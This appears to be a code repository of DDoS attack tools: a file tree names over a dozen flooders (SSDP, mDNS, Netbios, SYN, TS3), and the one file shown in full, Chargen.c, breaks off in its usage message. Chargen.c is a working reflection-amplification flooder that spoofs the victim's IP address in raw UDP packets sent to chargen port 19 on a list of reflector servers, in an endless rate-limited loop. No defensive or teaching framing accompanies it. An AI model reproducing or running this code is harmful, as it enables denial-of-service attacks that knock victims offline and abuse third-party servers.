├── Chargen.c ├── DOMINATE.c ├── Heartbeat.c ├── Improved SSYN.c ├── Netbios.c ├── Quake.c ├── README.md ├── SSDP.c ├── STCP.c ├── Syn.c ├── TS3.c ├── TriGemini.c ├── UDP.c └── mDNS.c /Chargen.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;) 3 | */ 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #define MAX_PACKET_SIZE 8192 15 | #define PHI 0x9e3779b9 16 | static uint32_t Q[4096], c = 362436; 17 | struct list 18 | { 19 | struct sockaddr_in data; 20 | struct list *next; 21 | struct list *prev; 22 | }; 23 | struct list *head; 24 | volatile int tehport; 25 | volatile int limiter; 26 | volatile unsigned int pps; 27 | volatile unsigned int sleeptime = 100; 28 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; }; 29 | void init_rand(uint32_t x) 30 | { 31 | int i; 32 | Q[0] = x; 33 | Q[1] = x + PHI; 34 | Q[2] = x + PHI + PHI; 35 | for (i = 3; i < 4096; i++) 36 | { 37 | Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; 38 | } 39 | } 40 | uint32_t rand_cmwc(void) 41 | { 42 | uint64_t t, a = 18782LL; 43 | static uint32_t i = 4095; 44 | uint32_t x, r = 0xfffffffe; 45 | i = (i + 1) & 4095; 46 | t = a * Q[i] + c; 47 | c = (t >> 32); 48 | x = t + c; 49 | if (x < c) { 50 | x++; 51 | c++; 52 | } 53 | return (Q[i] = r - x); 54 | } 55 | unsigned short csum (unsigned short *buf, int nwords) 56 | { 57 | unsigned long sum = 0; 58 | for (sum = 0; nwords > 0; nwords--) 59 | sum += *buf++; 60 | sum = (sum >> 16) + (sum & 0xffff); 61 | sum += (sum >> 16); 62 | return (unsigned short)(~sum); 63 | } 64 | void setup_ip_header(struct iphdr *iph) 65 | { 66 | iph->ihl = 5; 67 | iph->version = 4; 68 | iph->tos = 0; 69 | iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 1; 70 | iph->id = htonl(54321); 71 | iph->frag_off = 0; 72 | iph->ttl = MAXTTL; 73 | iph->protocol = IPPROTO_UDP; 74 | iph->check = 0; 75 | iph->saddr = inet_addr("192.168.3.100"); 76 | } 77 | void setup_udp_header(struct udphdr *udph) 78 | { 79 | udph->source = htons(5678); 80 | udph->dest = htons(19); 81 | udph->check = 0; 82 | memset((void *)udph + sizeof(struct udphdr), 0x01, 1); 83 | udph->len=htons(sizeof(struct udphdr) + 1); 84 | } 85 | void *flood(void *par1) 86 | { 87 | struct thread_data *td = (struct thread_data *)par1; 88 | char datagram[MAX_PACKET_SIZE]; 89 | struct iphdr *iph = (struct iphdr *)datagram; 90 | struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr); 91 | struct sockaddr_in sin = td->sin; 92 | struct list *list_node = td->list_node; 93 | int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); 94 | if(s < 0){ 95 | fprintf(stderr, "Could not open raw socket.\n"); 96 | exit(-1); 97 | } 98 | init_rand(time(NULL)); 99 | memset(datagram, 0, MAX_PACKET_SIZE); 100 | setup_ip_header(iph); 101 | setup_udp_header(udph); 102 | udph->source = htons(rand() % 65535 - 1026); 103 | iph->saddr = sin.sin_addr.s_addr; 104 | iph->daddr = list_node->data.sin_addr.s_addr; 105 | iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); 106 | int tmp = 1; 107 | const int *val = &tmp; 108 | if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ 109 | fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); 110 | exit(-1); 111 | } 112 | init_rand(time(NULL)); 113 | register unsigned int i; 114 | i = 0; 115 | while(1){ 116 | sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data)); 117 | list_node = list_node->next; 118 | iph->daddr = list_node->data.sin_addr.s_addr; 119 | iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); 120 | iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); 121 | 122 | pps++; 123 | if(i >= limiter) 124 | { 125 | i = 0; 126 | usleep(sleeptime); 127 | } 128 | i++; 129 | } 130 | } 131 | int main(int argc, char *argv[ ]) 132 | { 133 | if(argc < 6){ 134 | fprintf(stderr, "Invalid parameters!\n"); 135 | fprintf(stdout, "Usage: %s